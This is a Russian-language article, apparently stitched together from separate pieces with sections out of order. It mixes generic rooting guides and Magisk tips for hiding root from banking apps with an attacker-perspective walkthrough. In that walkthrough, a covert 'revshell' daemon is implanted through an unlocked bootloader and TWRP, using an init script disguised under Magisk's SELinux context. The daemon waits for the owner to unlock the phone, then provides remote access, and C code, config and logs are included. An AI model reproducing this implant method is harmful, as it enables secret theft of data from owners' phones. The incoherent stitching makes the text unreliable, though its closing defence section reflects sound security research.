- Зачем нужны root-права?
- Внедряемся в систему с установленными root-правами
- SELinux
- Настройка Magisk или как пройти SafetyNet
- Получение Root прав на устройствах с Андроид версии 7 и выше
- Получение Root прав с использованием компьютера
- Подготовка устройства к получению Root прав
- Получение удалённого доступа
- Получение Root прав без использования компьютера
- Мой набор Magisk-модулей
- Как работают root-права?
- Что ещё можно сделать?
- Постановка задачи
- Как защититься?
- Как устроено шифрование хранилища
- Проверяем на реальном устройстве
- Легальные root-права и LineageOS
- Нелегальные root-права и magisk
Зачем нужны root-права?
Честно говоря, когда мне задают вопрос, зачем я получал root-права на своем девайсе, я иногда впадаю в ступор, поскольку использую какое-то специфичное ПО, требующее таких разрешений достаточно редко и точечно.
Как хорошие примеры могу привести эффективное использование программ-firewalls, которые с помощью расширенных прав могут более гибко и эффективно контролировать траффик. Также, программы предназначенные для очистки «мусорных» файлов работают гораздо эффективнее, как и разнообразные файловые менеджеры, которые могут позволить вам редактировать системные файлы. Программы для резервного копирования приложений могут сохранять все данные приложения.
Отдельно хотелось бы упомянуть Xposed Framework — специализированное ПО в виде фреймворка, позволяющее одним приложениям изменять поведение системных функций Android в других приложениях и получать более полный доступ к их ресурсам. Например, именно на этом принципе основан Xposed-модуль для перевода текста на любой язык прямо в целевом приложении.
Внедряемся в систему с установленными root-правами
Внесём небольшое изменение, добавим в описание нашего демона seclabel который определяет какой SELinux контекст должен назначить init для запущенного системного сервиса:
service revshell /system/bin/revshell disabled seclabel u:r:magisk:s0 shutdown critical
on property:sys.boot_completed=1 start revshellПодготовим исполняемый файл для демона и соберём его под arm64.
#pragma once
#include <cerrno>
#include <cstdarg>
#include <cstring>
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <dirent.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <android/log.h>
#define LOG_TAG "revshell"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN, LOG_TAG, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
#define ENCRYPTED_FS_CHECK_DIR "/data/data"
#define ENCRYPTED_FS_CHECK_PROOF "android"#include "revshell.hpp"
bool check_fs_decrypted() { bool result = false; struct dirent *entry; DIR *dir = opendir(ENCRYPTED_FS_CHECK_DIR); if (dir == NULL) { return result; } while ((entry = readdir(dir)) != NULL) { if (strstr(entry->d_name, ENCRYPTED_FS_CHECK_PROOF)) { result = true; } } closedir(dir); return result;
}
int run_in_main_proc() { LOGD("Start successfull!\n"); signal(SIGINT, SIG_IGN); signal(SIGHUP, SIG_IGN); signal(SIGQUIT, SIG_IGN); signal(SIGPIPE, SIG_IGN); signal(SIGCHLD, SIG_IGN); signal(SIGTTOU, SIG_IGN); signal(SIGTTIN, SIG_IGN); signal(SIGTERM, SIG_IGN); signal(SIGKILL, SIG_IGN); LOGD("Signals are set to ignore\n"); int timer_counter = 0; int timer_step = 5; LOGD("Hey I'm a revshell process!\n"); LOGD("My PID -- %d\n", getpid()); LOGD("My parent PID -- %d\n", getppid()); LOGD("My UID -- %d\n", getuid()); LOGD("Awaiting encrypted FS decryption now..."); while (true) { sleep(timer_step); timer_counter = (timer_counter + timer_step) % INT_MAX; if (check_fs_decrypted()) { LOGD("FS has been decrypted!"); break; } } LOGD("Starting reverse shell now"); while (true) { sleep(timer_step); timer_counter = (timer_counter + timer_step) % INT_MAX; LOGD("tick ! %d seconds since process started", timer_counter); } LOGD("Exit!\n"); return 0;
}
int main(int argc, char *argv[]) { return run_in_main_proc();
}Я использую именно такой подход для демонстрации работы, потому что так легко понять что сервис работает просто подключившись к logcat и почитав логи. Наш исполняемый файл работает следующим образом: запускается, скидывает в логи приветственное сообщение, далее он ожидает расшифровки хранилища, для этого он полагается на то что внутри директории с приватными хранилищами приложений появится запись содержащая строку «android», которая присутствует в имени пакета многих системных приложений, после этого он сбрасывает в логи запись о том что хранилище расшифровано и запускается reverse-shell, а дальше просто раз в пять секунд сбрасывает в логи сообщение о том что он запущен и работает.
Перезагрузимся в TWRP, смонтируем system и скопируем получившийся исполняемый файл в /system/bin/revshell, а скрипт демона в /system/etc/init/revshell.rc
Перезагружаем устройство и начинаем слушать логи:
$ adb logcat | grep revshellКогда система загрузилась, и показался экран ввода кода разблокировки видим в логах следующее:
01-31 23:42:07.587 3589 3589 D revshell: Start successfull!
01-31 23:42:07.588 3589 3589 D revshell: Signals are set to ignore
01-31 23:42:07.588 3589 3589 D revshell: Hey I'm a revshell process!
01-31 23:42:07.588 3589 3589 D revshell: My PID -- 3589
01-31 23:42:07.588 3589 3589 D revshell: My parent PID -- 1
01-31 23:42:07.588 3589 3589 D revshell: My UID -- 0
01-31 23:42:07.588 3589 3589 D revshell: Awaiting encrypted FS decryption now...Отлично, хранилище ещё не расшифровано, но демон успешно запустился и работает, трюк с seclabel u:r:magisk:s0 сработал!
Вводим код разблокировки и видим в логах:
01-31 23:42:27.597 3589 3589 D revshell: FS has been decrypted!
01-31 23:42:27.597 3589 3589 D revshell: Starting reverse shell now
01-31 23:42:32.597 3589 3589 D revshell: tick ! 25 seconds since process started
01-31 23:42:37.598 3589 3589 D revshell: tick ! 30 seconds since process started
01-31 23:42:42.599 3589 3589 D revshell: tick ! 35 seconds since process started
01-31 23:42:47.600 3589 3589 D revshell: tick ! 40 seconds since process startedПосмотрим, через adb запущенные процессы и увидим там наш демон:
$ adb shell
$ ps -Zef | grep revshell
u:r:magisk:s0 root 3589 1 0 23:42:06 ? 00:00:00 revshell
u:r:shell:s0 shell 5546 5495 1 23:48:21 pts/0 00:00:00 grep revshellОн запущен процессом init, как системный сервис, убить его без root-прав мы не можем:
$ kill -9 3589
/system/bin/sh: kill: 3589: Operation not permittedА убив его c root-правами, увидим что он тут же был перезапущен системой, потому что именно так система поступает с критическими системными сервисами:
$ su
# kill -9 3589
# ps -Zef | grep revshell
u:r:magisk:s0 root 5592 1 0 23:51:34 ? 00:00:00 revshell
u:r:magisk:s0 root 5601 5573 5 23:52:08 pts/1 00:00:00 grep revshellОтлично. Это уже похоже на успех. У нас получилось внедрить исполняемый файл, который может открыть нам удалённый доступ к устройству прямо в смартфон с зашифрованным хранилищем. Мы смогли его запустить и нам не пришлось разблокировать смартфон, не пришлось ничего расшифровывать. Достаточно было знать об особенностях шифрования хранилища в смартфонах и о возможностях которые дал нам разблокированный загрузчик.
Однако пока что мы полагаемся на права, которые нам предоставил SELinux контекст маджиска, а для извлечения данных нам необходимо уметь запустить такой же демон, но на любом устройстве, в том числе на устройстве без root-прав.
SELinux
Безопасность в android устроена сложнее чем хотелось бы злоумышленникам и представляет из себя многослойную систему. Unix DAC (discretionary access control), привычная нам система пользователей и назначения прав на файлы типа rwxrwxrwx является лишь частью мер по предотвращению злоупотребления операционной системой и устройством. Помимо неё есть ещё MAC (mandatory access control), в android это SELinux (Security Enhanced Linux). Суть MAC в возможности намного более гибко управлять доступом к различным ресурсам чем DAC, в том числе описывая для этого свои уникальные сущности и правила.

Отсюда следует несколько неочевидный ранее вывод – на android root-права в привычном для других дистрибутивов linux понимании, т.е. когда uid пользователя в системе равен 0, вовсе не означают что мы можем делать всё что угодно. Несмотря на то, что процесс init запущен с uid=0, он не может запустить сторонний сервис. Дело в том что SELinux не оперирует понятиями системных пользователей и групп, и если какое-то действие не было явно разрешено, то он его запретит и ему безразлично пытается ли его совершить непривилегированный пользователь или root. Он работает «выше» DAC и может запретить любое действие, которое DAC разрешил.
Вот отличный пример в android с самим файлом, содержащим политики SELinux:
$ ls -laZ /sys/fs/selinux/policy
-r--r--r-- 1 root root u:object_r:selinuxfs:s0 0 1970-01-01 03:00 /sys/fs/selinux/policy
$ cat /sys/fs/selinux/policy
cat: /sys/fs/selinux/policy: Permission deniedНа нём стоит доступ для чтения для любых пользователей, но при попытке прочитать его мы получим Permission denied, потому что ни для процессов с контекстом u:r:shell:s0, ни для процессов с контекстом u:r:untrustedapp:s0 нет разрешения на чтение файлов u:objectr:selinuxfs:s0.
SELinux оперирует понятиями контекстов, которые присваиваются файлам и процессам, и правил взаимодействия между объектами принадлежащим разным контекстам. Наборы этих правил объединяются в политики. Они описываются в файлах *.te в исходниках android, можно посмотреть примеры вот тут. Политики собираются на этапе сборки системы и, теоретически, не могут изменяться во время её работы, они компилируются в специальный бинарный формат, который уже использует система.
Контекст SELinux на процессах и файлах можно посмотреть, добавив к выполняемой команде флаг -Z. Например, для просмотра контекстов на файлах в текущей папке можно вызвать команду ls -laZ, а на процессах, соответсвенно, ps -efZ.
Как было упомянуто выше в секции про процесс загрузки системы, первое действие которое совершает процесс init – загружает и применяет политики SELinux, а одна из первых применяемых политик заключается в том что процессу с контекстом u:r:init:s0 запрещается делать transition в другой контекст. Политики SELinux специально строятся по принципу «запрещено всё что не разрешено», и создатели операционной системы, разумеется, позаботились о том, чтобы злоумышленник получивший возможность прописать запуск какого-то сервиса в автозапуск не смог это сделать. Контекст процесса init организован таким образом что он может запустить только те системные сервисы, для которых явно прописано разрешение на запуск во время загрузки системы, и после сборки системы это изменить нельзя.
SELinux может работает в трёх режимах:
enforcing – все действия описываемые политиками логируются и принудительно следуют правилам, т.е. если действие явно не разрешено, то оно не будет выполнено
permissive – все действия описываемые политиками логируются но не следуют правилам принудительно, т.е. даже если действие явно не разрешено, оно будет выполнено, несмотря на ругань в логах
disabled – никакие действия не логируются и не ограничиваются
В нормально работающей системе android версии от 5.0 SELinux всегда будет в режиме enforcing. Если по каким-то причинам он будет переведён в режим permissive, то пользователю ещё до ввода кода разблокировки покажут большое страшное уведомление об этом и о том что его система небезопасна. Мы точно не имеем права переводить SELinux в permissive режим, потому что это выдаст пользователю факт модификации его устройства, и он может предпочесть уничтожить данные.
В каждой версии android, начиная с 5 политики SELinux сильно ужесточаются и всё меньше и меньше всего остаётся разрешённым. Иронично, но начиная с android 8 даже если прошить в системный раздел исполняемый файл su и сделать его системным и принадлежащим root:root, он не сможет работать без специально назначенных ему политик.
Тем не менее инструменты для получения root-прав существуют, и они умеют обходить ограничения MAC, работать на самых свежих версиях android и даже на устройствах, которые помимо них дополнительно имеют отдельные механизмы контроля целостности системы (например устройства Samsung). Так как же тогда работает root в современных реалиях?
Настройка Magisk или как пройти SafetyNet
В новых версиях (24+) Magisk на смену Magisk Hide пришел новый метод сокрытия root — Zygisk. Его название состоит из слов Zygote — материнского низкоуровнего процесса Android, с помощью которого происходит работа Magisk и собственно названия приложения.
По умолчанию этот режим отключен в настройках Magisk, но я рекомендую включить его при первой же возможности.
Сразу после этого необходимо установить два модуля из Github-репозиториев — Universal SafetyNet Fix и Shamico. Первый нужен для прохождения CTS-аттестации (сертификация устройства SafetyNet), а второй для корректной работы функции скрытия root и DenyList magisk. Установка модулей интуитивно понятна и не должна вызвать вопросов.
Не уходя далеко после установки модулей переходим в раздел «Настройка DenyList», не активируя пункт «Активировать DenyList».
В этом меню мы увидим список установленных приложений. Скрытие root по умолчанию применено к сервисам Google, отдельно включать не надо! В большинстве случаев достаточно проставить галочки рядом с приложениями, от которых вы хотите скрыть рут, но бывают случаи, когда это не работает (например, некоторые банковские приложения). Тогда я советую нажать на плашку с названием приложения. Откроется весь список компонентов, от которых скрывается рут и проставить переключатель возле каждого из них. Приложений, которые обходили бы этот метод я еще не видел.
Для закрепления рекомендую использовать функцию «Скрыть приложение Magisk», поскольку его наличие можно вычислить элементарно по списку установленных приложений (так, например, работает MirPay). MagiskManager пересоберется со случайным именем пакета и предложит себя установить.
Если есть возможность, можно ограничить конкретным приложениям доступ к списку приложений с помощью Xposed-модулей вроде Thanox или XPrivacy Lua и тогда скрывать Magisk Manager не обязательно.
После проделанных действий необходимо как можно скорее перезагрузить телефон. Загрузка может быть слегка дольше, чем обычно.
Без должной настройки сервисы Google вскоре заметят чужака в системе и забракуют устройство по CTS.
Скрытие root для приложения необходимо делать до первого запуска целевого приложения! Мне попадались довольно злопамятные программы, которые раз увидев root, сохраняли мой id на сервере, приходилось либо перешивать устройство, либо подсовывать им фейковый Android ID.
Получение Root прав на устройствах с Андроид версии 7 и выше
С получением рута на более новые операционные системы возникает ряд трудностей. Стоит сразу сказать, что обычными программами, которыми пользуются обладатели версий ниже, ничего сделать не получится. Разработчики же KingRoot говорят, что их программа способна и на это. Сделать рут на новые Адроид Oreo, Nuga или 9 версию, но достаточно нетрадиционными методами.
В общем случае потребуется:
- Разблокировать загрузчик.
- Включить отладку по USB.
- Прошить девайс кастомным рекавери TWRP.
- Установить файл для получения рут прав.
- Перезагрузить смартфон.
Проблема заключается в том, что рекавери для всех устройств различные и создавать их придется отдельно.
Получение Root прав с использованием компьютера
Для возможности рутирования через компьютер понадобится программное средство Kingo Android Root. Следует выполнить ее скачивание и инсталлировать на свой ПК.
Далее поэтапный порядок действий такой:
- Активировать функцию режима отладки телефона по ЮСБ на смартфоне.
- Разрешить установку программных продуктов не только из официального магазина.
- Запустить установленное ПО и только после этого соединить телефон с портом компьютера.
- Дождаться обнаружения девайса и установки всех драйверов.
- Нажать на кнопку «Рутировать».
- Наблюдать за процессом рутирования ОС Android.
- Когда он будет закончен – отсоединить кабель и перезагрузить мобильник.
Теперь можно в полной мере наслаждаться рутом.
Важно! Если с помощью предыдущего способа получить права не получилось, то можно воспользоваться другими решениями. Одним из таких является VROOT. Это одна из лучших программ после Kingo Android Root. Процесс получения прав с ее помощью аналогичен.

Работа программы Kingo Android Root
Подготовка устройства к получению Root прав
Для установки связи между телефоном и персональным компьютером или ноутбуком, необходимо включить специальный режим. В противном случае гаджет будет подключаться к нему для зарядки или как простой накопитель.
Отладка по USB включается так:
- Перейти в настройки гаджета.
- Выбрать раздел под названием «Специальные возможности» и подраздел «Для разработки».
- Найти пункт «Отладка по USB» и активировать его.
- Подтвердить свое решение.
- Соединить компьютер и телефон по ЮСБ кабелю для проверки включения функции.
Если планируется скачивать программу на телефон, то стоит убедиться, что параметр безопасной установки выключен. Он необходим для того, чтобы устройство не позволяло устанавливать в память приложения и игры, которые были скачаны не с Плей Маркета.
Разрешить смартфону устанавливать программы из непроверенных источников можно таким образом:
- Войти в настройки девайса.
- Найти раздел «Безопасность».
- Передвинуть переключатель напротив надписи «Неизвестные источники» или «Разрешить установку из неизвестных источников» в состояние «Включено».

Для того чтобы поставить через ПК Root, необходимо включить режим отладки
Получение удалённого доступа
Для android существует популярная полезная нагрузка в Metasploit фреймворке которая теоретически может дать нам удалённый доступ к устройству – android/meterpreter/reverse_tcp, однако с ней есть проблемы:
Она поставляется в виде обычного приложения. Мы технически не можем установить в android приложение в зашифрованное хранилище, плюс даже если бы могли, это явный шанс скомпрометировать себя, т.к. приложение будет видно в лаунчере и в списке установленных приложений в настройках, а если на устройстве пользователя установлено одно из антивирусных решений, то оно может задетектить его как вирус по публично доступным признакам. Мы можем пересобрать его изменив сигнатуры или даже внедрить в какое-нибудь другое приложение, но сути это не поменяет.
Она была рассчитана на более старые версии android и часть её функций может не работать на современных версиях системы. Некоторые её возможности требуют подтверждения руками системных диалогов с разрешениями, некоторые просто не заведутся.
Она работает как обычное непривилегированное приложение, а значит ни к чему особо доступ иметь не может. Если на системе нет root-прав, то мы сможем получить только файлы из общего хранилища и только после подтверждения пользователем диалога с разрешением что автоматически выдаст нас. Если на системе есть root-права, то получить их мы сможем только после явного подтверждения диалога с разрешением. Мы могли бы руками отредактировать базу данных magisk для внесения себя в список приложений которым доступен root и отключить для себя логирование и уведомления о предоставлении root-доступа, но для этого нам нужно отредактировать файл из внутренней директории приложения, а она зашифрована.
Будучи обычным приложением она будет попадать под управление жизненным циклом, система в лучшем случае будет отправлять её в сон в doze-mode, в худшем – просто убьёт и перезапустить её будет некому. Умер процесс приложения – умер и процесс агента, поскольку является дочерним процессом приложения.
Для того, чтобы агент мог без проблем поддерживать себя постоянно запущенным, не отсвечивать в операционной системе и не попадать под регулирования и ограничения для установленных приложений, необходимо оформить его в виде системного сервиса — демона.
Для того, чтобы понять как именно это сделать, нужно вернуться к процессу загрузки системы, однако теперь мы верхнеуровнево рассмотрим оставшуюся её часть происходящую сразу после рассмотренного в начале boot flow, т.е. когда загрузчик загрузил раздел boot, отработал механизм verified boot и система получила добро на запуск:
Ядро и ramdisk распаковывается в оперативную память, и загрузчик запускает ядро.
Ядро стартует, инициализирует устройства, драйверы и т.д. и монтирует ramdisk в корень файловой системы. Ramdisk содержит минимальный набор файлов необходимых для запуска пользовательской части системы. Бинарник init, минимальный скрипт init.rc для него, точки монтирования разделов: /system, /vendor и др. и информацию об устройствах которые необходимо в них смонтировать. Вот тут описаны примеры содержания ramdisk для разных версий android.
Далее процесс может проходить по нескольким сценариям, но в целом, конечная цель работы ядра на этапе загрузки – запустить исполняемый файл init, который продолжит загрузку системы уже не в пространстве ядра, а в пространстве пользователя.
Первое что делает процесс init сразу после запуска — загружает скомпилированные политики SELinux и применяет их. SELinux — это механизм ядра для принудительного контроля доступа, пришедший в android из RedHat-подобных дистрибутивов. Мы ещё вернёмся к нему и рассмотрим его более подробно.
Далее процесс init парсит скрипт init.rc из ramdisk, который содержит список действий которые необходимо совершить для успешной загрузки системы, а также какие ещё .rc скрипты необходимо загрузить. Android использует свой формат скриптов для загрузки компонентов системы.
После отработки всех скриптов мы получаем полностью запущенную систему.
Судя по всему, для внедрения в систему в качестве демона нам потребуется подготовить исполняемый файл с полезной нагрузкой и описать системный сервис, который будет его вызывать.
Исходный init.rc импортирует дополнительные скрипты из нескольких директорий, в том числе и основного источника этих скриптов из системного раздела: /system/etc/init/.rc, поэтому мы подготовим свой скрипт и поместим его туда.
Синтаксис .rc скриптов несложный, он хорошо описан здесь, а ещё можно подглядеть в то, как именно он устроен просто заглянув в файлы в вышеупомянутой директории.
Подготовим описание нашего сервиса:
service revshell /system/bin/revshell disabled shutdown critical
on property:sys.boot_completed=1 start revshellУкажем название сервиса revshell.
Путь к исполняемому файлу будет лежать в стандартной директории для бинарников в android. Агента мы поместим именно туда.
disabled означает то, что его не нужно загружать непосредственно в процессе загрузки системы сразу после обработки скрипта. Мы будем стартовать сервис специальным триггером, который ориентруется на объявление проперти sys.boot_completed.
shutdown critical означает то, что сервис критический и не должен убиваться даже при подаче сигнала о выключении системы.
План таков: система запустит нашего агента при загрузке до попадания на экран ввода кода разблокировки. Агент ожидает расшифровки файловой системы. После того как владелец устройства введёт код разблокировки, агент запускает reverse-shell и предоставляет нам доступ в систему с возможностью достать любые файлы.
На системный сервис не распространяются правила OOM-киллера и правила энергосбережения, он не будет остановлен если в системе заканчивается память, или она уснёт. В случае завершения процесса сервиса по любой причине, система будет его рестартовать не позднее чем через 5 секунд. Даже в случае если сервис не может запуститься и его процесс падает, система никогда на бросит попыток его запустить и будет продолжать делать это пока продолжает работать.
Выглядит как раз как то что нам нужно, однако тут нашим ожиданиям суждено встретиться с суровыми реальностями организации безопасности в android. Если мы попытаемся установить сервис подобным образом, то система его проигнорирует, а dmesg сообщит нам что-то похожее на это:
avc: denied { transition } scontext=u:r:init:s0 tcontext=u:object_r:system_file:s0Получение Root прав без использования компьютера
Чтобы начать взлом своего гаджета без использования персонального компьютера и средств отладки, нужно загрузить и инсталлировать на него особое мобильное приложение. Весь процесс будет происходить непосредственно в самом телефоне.
Важно! При этом желательно пользоваться соединением по вайфай, чтобы сэкономить интернет-трафик.
Дальнейшие действия таковы:
- Найти созданный программой ярлычок и перейти по нему в основное окно.
- Софт сразу же начнет определение модели и версии устройства, а также скажет, имеет ли уже пользователь рут-права.
- Когда процесс сканирования закончится следует нажать на кнопку TRY TO ROOT».
- Дождаться пока программа проведет взлом и сообщит об удачном или неудачном результате.
Если этот метод не помог, то можно воспользоваться и другими программами: «Root ToolCase», «OneClickRoot», «Toverloop» и так далее. Главное, скачивать их с проверенных ресурсов, чтобы не «подцепить» вирус. Некоторые из них могут работать с самыми старыми прошивками Андроида версий 1.6.х – 2.3.х.

Процесс рутирования на KINGROOT
Мой набор Magisk-модулей
Busybox — дает доступ приложениям к встроенному busybox от Magisk
No Storage Restricts — убирает ограничения в выборе папок в файловом менеджере
LuckyPatcher — его модуль нужен для переноса приложений в системный раздел
Move Certificates — перенос пользовательских сертификатов в систему
NFC Screen Off — работа NFC при выключенном экране
Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
Получали ли вы Root на своем устройстве?
Нет и не планирую
Нет, но хочу попробовать
Да, но сейчас не имею
Да, пользуюсь root-правами
Проголосовали 127 пользователей.
Воздержались 9 пользователей.
Как работают root-права?
Когда то, для установки root-прав достаточно было перемонтировать раздел system в режим чтения-записи и скопировать туда исполняемый файл su. Затем появилась необходимость думать также и о политиках SELinux, и об AVB. Сегодня для получения root-прав можно выделить два основных подхода, которые можно условно назвать «легальным» и «нелегальным».
Что ещё можно сделать?
Данный вариант установки бэкдора довольно грубый. Внедрение происходит напрямую в системный раздел, что неплохо, но можно сделать лучше. Например, несмотря на то что простенькие root-детекторы его не обнаружат, изменённое состояние system раздела точно не позволит пройти проверку SafetyNet, хотя можно попробовать поиграть с исходниками MagiskHide и заточить их под свои нужды. Логичным продолжением будет хранение нужных файлов отдельно и монтирование их поверх системного раздела таким же образом каким magisk доставляет в файловую систему свои файлы. Продолжая мысль ещё дальше можно попробовать внедриться напрямую в ramdisk и прямо оттуда прокинуть его в файловую систему и смонтировать поверх system.
Постановка задачи
Итак, представим ситуацию, мы – злоумышленник, получивший на некоторое время в свои руки смартфон. Устройство – смартфон на базе android с разблокированным загрузчиком. Устройство имеет встроенное шифрование хранилища, его тип – аппаратный, т.е. ключи хранятся в TEE. Устройство заблокировано, для разблокировки необходимо ввести пин-код. Причём устройство находится в BFU (before-first-unlock) состоянии, это значит, что после включения устройства код разблокировки не вводился ни разу и файловая система зашифрована. На устройстве не включен режим отладки и подключиться по adb к нему невозможно. В нём содержатся данные, которые нам необходимо изъять. Устройство нужно будет вернуть владельцу, неповреждённое, в рабочем состоянии, причём владельцу не должно бросаться в глаза что его устройство было скомпрометировано.
Звучит как невыполнимая задача, и так бы оно и было, если бы нам любезно не открыл дверь сам владелец. Современные смартфоны очень хороши с точки зрения безопасности. Возможная поверхность атаки у них крайне мала. В последних версиях ОС android сделано очень многое для защиты данных пользователей. Защита системы выстроена в несколько уровней. Данные шифруются, подписи проверяются, ключи хранятся аппаратно. Везде используется подход «least privilege» – запрещено всё что не разрешено. Приложения работают в рамках серьёзных ограничений. Можно смело утверждать, что современные смартфоны являются одними из лучших примеров безопасных устройств, которые создавал человек.
Если пользователь не совершает явно странные действия вроде скачивания странных apk со странных ресурсов и не выдаёт им явно руками привилегий администратора устройства, то навредить пользователю или украсть его данные довольно затруднительно. И даже эти проблемы являются скорее не дырами в безопасности системы, а следствием свободы, которую android предоставляет пользователям, однако не все распоряжаются ей правильно. Прошли времена, когда безопасность android была поводом для шуток. На сайте известного брокера эксплоитов, компании Zerodium, FCP — full-chain with persistence или полная цепочка удалённой эксплуатации устройства с закреплением в системе в настоящий момент является самым дорогим эксплоитом, за который компания готова выложить до двух с половиной миллионов долларов.
Разблокированный загрузчик роняет уровень сложности этой задачи от невозможного до тривиального. Почему-то тема опасности открытых загрузчиков поднимается довольно редко, и, мне кажется, её значимость здорово недооценена, поэтому давайте разбираться.
Код с примером будет приведён довольно упрощённый и не в самом изощрённом варианте, но рабочий и явно демонстрирующий то, как именно это работает.
Все действия я проводил на устройствах на OnePlus 5T (он же dumpling по принятой в android device tree классификации) на стоковой OxygenOS и LineageOS с версиями соответствующими android 9 и 10, и XiaomiMI6 (он же sagit). Из-за этого некоторые нюансы структуры разделов, и выводы некоторых команд у вас могут отличаться, но общая суть происходящего не изменится.
Я буду часто ссылаться на ресурс source.android.com. Это примерно тоже самое что и developer.android.com но не для разработчиков приложений, а для разработчиков устройств. Там хорошо описана работа ОС, системных компонентов, и т.д. Очень рекомендую, вряд ли где-то можно найти более структурированную информацию по устройству системы.
Как защититься?
Самый простой подход, для которого даже не нужно ничего предпринимать – отказаться от использования root-прав и альтернативных прошивок. Это спорный совет для тех кто пользуется альтернативными сборками для прокачки приватности своего устройства. Это моё личное мнение, но я считаю, что нынешний стоковый android очень даже неплох. Я долгое время интересуюсь модификациями системы, направленными на усиление приватности и безопасности, и должен отметить, что в последних трёх версиях ОС была проделана впечатляющая работа по сокращению возможностей для сбора информации с устройства. Если раньше разница между стоковой сборкой ОС и альтернативной, усиленным всякими специализированными инструментами вроде XPrivacyLua с кастомными хуками была огромной, то теперь она очень сократилась.
Разумеется, от некоторых вещей в android Google ни за что не откажется, и на стоковой прошивке никогда не отделаться от рекламного идентификатора, но тем не менее большую часть bloatware можно безболезненно отключить. Плюс, у пользователя android всё ещё есть свобода самостоятельно решать какими именно приложениями он будет пользоваться и откуда их устанавливать. Не обязательно полагаться на google play, можно использовать альтернативные репозитории, например F-Droid. Не обязательно завязываться на экосистему Google. Можно в качестве альтернативы использовать NextCloud на собственном сервере. В общем, при правильном подходе можно заменить в стоковой системе практически всё и получить устройство, которое будет практически так же хорошо как и на альтернативной прошивке, при этом иметь заблокированный загрузчик и все плюсы использования немодифицированного устройства, такие как работающий Google Pay и платежи касанием по NFC, беспроблемно работающие приложения банков и иные полагающиеся на проверки SafetyNet, нормально работающая камера и т.д.
Другой очевидный подход заключается в том, чтобы не допускать попадания устройства физически в чужие руки. По сути, всё что обсуждалось выше касается в основном только физического доступа. Если не держать постоянно включённым режим разработчика, не давать приложениям права администратора, следить за тем, что именно устанавливается на устройство и соблюдать базовые «правила гигиены», то всё будет хорошо.
Для тех случаев, когда устройство изымается пограничниками или полицией, либо попадает на время в руки злоумышленников возможно организовать противодействие. Разумеется, это имеет смысл только если смартфон в их руки попал не разблокированным. Это несложно, но требует некоторых регулярных усилий. Для этого нужно взять за привычку считать хэши основных разделов, в которые может быть подкинут бэкдор при физическом доступе, сразу после установки системных обновлений. Обновили систему – пересчитайте хэши и сохраните в надёжном месте. Если пользуетесь root-правами, то можно сделать нехитрое приложение для этого, если не пользуетесь – придётся загружаться после установки в TWRP и снимать там.
В общем-то логика получается следующей: после получения устройства на руки, не загружаясь в систему и не вводя код разблокировки, загружаемся в TWRP, пересчитываем хэши. Если на разделах boot, system или vendor они поменялись, то в систему было что-то добавлено, или по крайней мере была предпринята попытка этого.
Наибольшее ограничение в том, как мало существует устройств, на которых можно провернуть подобное. Несмотря на то, что в Google предоставил все необходимые возможности для этого, а в документации есть общее и подробное описание того как это работает, очень немногие производители поддерживают эту фичу. Честно говоря, я знаю только о двух – это Google (линейка смартфонов Pixel) и OnePlus. Поддержка проверки подписи операционной системы ключами пользователя не является обязательной для сертификации устройства и реализуется производителем устройства строго по его желанию. Полагаю, что большинство производителей просто не желает делать дополнительную работу, либо не желает чтобы у покупателей появился дополнительный повод использовать неродную ОС на их устройствах.
Использование такого подхода будет требовать сборки и подписи каждого нового обновления, что может быть утомительно, т.к. это требует времени, некоторых технических знаний, мощной производительной машины для проведения сборки, с большим и быстрым хранилищем на несколько сотен гигабайт, а также поддержки сервера на котором будут публиковаться обновления. Я уверен, что далеко не каждый захочет заниматься этим.
Как устроено шифрование хранилища
Для начала разберёмся как устроено шифрование хранилища, потому что это самое труднопреодолимое препятствие для изъятия данных. Шифрование применяется на уровне файловой системы. Существует два основных подхода к организации шифрования:
FDE – full-device-encryption – полнодисковое шифрование. Это значит что всё устройство хранения зашифровано, и даже загрузка операционной системы невозможна до его расшифровки. Поэтому в этом случае владельцу устройства для работы с ним сначала, ещё до загрузки операционной системы, необходимо ввести ключ с помощью которого хранилище будет расшифровано и только потом произойдёт загрузка системы. Такой подход требовал «двойной» загрузки системы, сначала в минимальном варианте для показа формы ввода пароля, а потом в полноценном, после расшифровки хранилища. Он применялся на некоторых устройствах с версиями android 5-7, однако на современной версии ОС и современных устройствах не используется
FBE – file-based-encryption – шифрование отдельных частей файловой системы. Применительно к android зашифрованы только те части системы, где хранятся данные пользователя. Незашифрованным остаются ядро, системный раздел, и т.д. Строго говоря, проще перечислить то, что зашифровано, а зашифрованы только /data/data и /data/media. Все остальные части системы остаются незашифрованными. Это позволяет операционной системе успешно загружаться до экрана авторизации пользователя, стартовать системные сервисы и accessibility сервисы, принимать SMS. Начиная с android 7 и переходом на FBE появилось Directboot API, которое даёт приложениям возможность запускаться и в ограниченном режиме работать до ввода кода разблокировки и расшифровки файловой системы. FBE позволяет сочетать высокие стандарты защиты данных в хранилище и отличный пользовательский опыт. Пользователь не отвлекается на ввод дополнительного пароля до запуска системы, система не тратит ресурсы на шифрование и расшифровку частей файловой системы где не содержится личных данных владельца. Это современный подход, который используется на современных устройствах и является обязательным для всех новых устройств, начиная с android 9.
BFU (before first unlock) – до первого ввода кода разблокировки
AFU (after first unlock) – после первого ввода кода разблокировки
До первого ввода кода разблокировки данные пользователя всегда зашифрованы, после первого ввода – всегда расшифрованы. Даже когда пользователь в дальнейшем нажимает кнопку питания или система сама уходит в сон, то данные, с точки зрения ОС, больше не переходят в зашифрованное состояние, теперь их защищает только экран блокировки. В android пока не предусмотрен механизм очищения ключей для расшифровки файловой системы из памяти после определённого периода неактивности.
Это значит, что если после того, как устройство было разблокировано хотя бы однажды подключиться к нему, например по adb, то пользовательские данные будут доступны и можно получить к ним доступ даже если экран заблокирован.
Вот так выглядит общее хранилище до первого ввода кода разблокировки:
# ls -la /data/media/0/
total 100
